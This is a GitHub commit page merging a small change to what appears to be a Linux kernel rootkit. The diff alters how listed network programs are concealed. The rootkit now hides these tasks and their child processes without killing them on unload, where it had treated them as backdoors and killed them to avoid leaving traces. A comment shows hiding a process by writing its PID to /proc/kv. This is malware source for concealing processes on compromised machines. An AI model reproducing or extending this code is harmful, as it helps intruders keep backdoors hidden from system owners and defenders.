Skip to content

Commit

Permalink
Merge pull request #85 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Change behaviour for netapp tasks
  • Loading branch information
carloslack authored Apr 25, 2024
2 parents 49d0da3 + da2ffae commit 21013d1
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 3 deletions.
1 change: 1 addition & 0 deletions src/netapp.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
/*
* The names below are just examples and can be
* modified and/or extended at will
* warning: don't add backdoor programs here
*/
static const char *netapp_list[] = {
"whitenose", "pinknose", "rednose", "blacknose",
Expand Down
8 changes: 5 additions & 3 deletions src/pid.c
Original file line number Diff line number Diff line change
Expand Up @@ -472,10 +472,12 @@ void kv_scan_and_hide_netapp(void) {
prinfo("Hide netapp task: %d %s i=%d '%s'\n", t->pid, fnode->filename, i, netapp_list[i]);
/**
* notice that any netapp added here
* will be killed if
* rk is unloaded so we won't leave traces behind
* will NOT be killed if kv is unloaded
* In reality an application that is listed in netapp_list will be handled
* in the same way as if you manually hide a parent process:
* echo <pid of parent> >/proc/kv
*/
kv_hide_task_by_pid(t->pid, 1 /* handle as backdoor */, CHILDREN /* hide children */);
kv_hide_task_by_pid(t->pid, 0 /* not a backdoor */, CHILDREN /* hide children */);
break;
}

Expand Down

0 comments on commit 21013d1

Please sign in to comment.